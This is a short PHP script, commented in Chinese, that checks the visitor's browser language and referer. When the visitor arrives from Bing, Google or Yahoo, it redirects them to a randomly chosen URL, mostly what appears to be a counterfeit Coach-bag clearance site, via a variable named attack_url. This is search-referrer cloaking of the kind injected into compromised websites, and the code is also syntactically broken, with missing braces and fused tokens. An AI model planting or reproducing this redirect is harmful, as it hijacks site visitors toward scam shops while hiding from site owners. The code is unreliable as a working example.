1. <?  
  2.    
  3. $language=$_SERVER["HTTP_ACCEPT_LANGUAGE"];  
  4.    
  5. $lang="en";  
  6.    
  7. if ( strpos($language,$lang) == false ){            //如果客户端的浏览器语言不是en的则不跳转  
  8.    
  9. if(isset($_SERVER['HTTP_REFERER'])){                //判断源地址的链接,如果是直接访问网址则不进行跳转  
  10.    
  11. $source = $_SERVER['HTTP_REFERER'];  
  12.    
  13. //echo $source;  
  14.    
  15. else {  
  16.    
  17. $source = '';  
  18.    
  19. }  
  20.    
  21. $urla="bing";  
  22.    
  23. $urlb="com.hk";  
  24.    
  25. $urlc="google";                                          //搜索引擎  
  26.    
  27. $urld="yahoo";  
  28.    
  29. if ( strpos($source,$urlb) == false ){                
  30.    
  31. if (( strpos($source,$urla) == true )orstrpos($source,$urlc) == true )orstrpos($source,$urld) == true ))     //如果源地址是搜索引擎的其中一种  
  32.    
  33. {                                                                                         //则继续判断  
  34.    
  35. error_reporting(7);        //报错等级  
  36.    
  37. $target_url=array();         
  38.    
  39. for($i=0;$i<39;$i++)                                                             
  40.    
  41. {  
  42.    
  43.     $target_url[$i]="http://www.coachbagclearancesite.com";  
  44.    
  45. }  
  46.    
  47. for($i=41;$i<59;$i++)  
  48.    
  49. {  
  50.    
  51.     $target_url[$i]="http://blog.mcshell.org";  
  52.    
  53. }  
  54.    
  55. for($i=60;$i<100;$i++)  
  56.    
  57. {  
  58.    
  59.     $target_url[$i]="http://www.google.com";  
  60.    
  61. }  
  62.    
  63. //print_r($target_url);  
  64.    
  65. //print_r(rand_array($target_url));     //调试代码  
  66.    
  67. function rand_array($arr)  
  68.    
  69. {  
  70.    
  71.     $arr_size=sizeof($arr);  
  72.    
  73.     $tmp_arr=array();  
  74.    
  75.     for($i=0;$i<$arr_size;$i++){  
  76.    
  77.         mt_srand((double) microtime()*1000000);              //制作随机的网址  
  78.    
  79.         $rd=mt_rand(0,$arr_size-1);  
  80.    
  81.         if($tmp_arr[$rd]=="")  
  82.    
  83.         {  
  84.    
  85.             $tmp_arr[$rd]=$arr[$i];  
  86.    
  87.         }  
  88.    
  89.         else 
  90.    
  91.         {  
  92.    
  93.             $i=$i-1;  
  94.    
  95.         }  
  96.    
  97.     }  
  98.    
  99.     return $tmp_arr;  
  100.    
  101. }  
  102.    
  103. $attack_url=rand_array($target_url);  
  104.    
  105. $attackurl="com";  
  106.    
  107. if ( strpos($attack_url[1],$attackurl) == true ){  
  108.    
  109. //最后随机获取的那个链接  
  110.    
  111. Header("Location: $attack_url[1]");  
  112.    
  113. }  
  114.    
  115. }  
  116.    
  117. }  
  118.    
  119. }  
  120.    
  121. ?>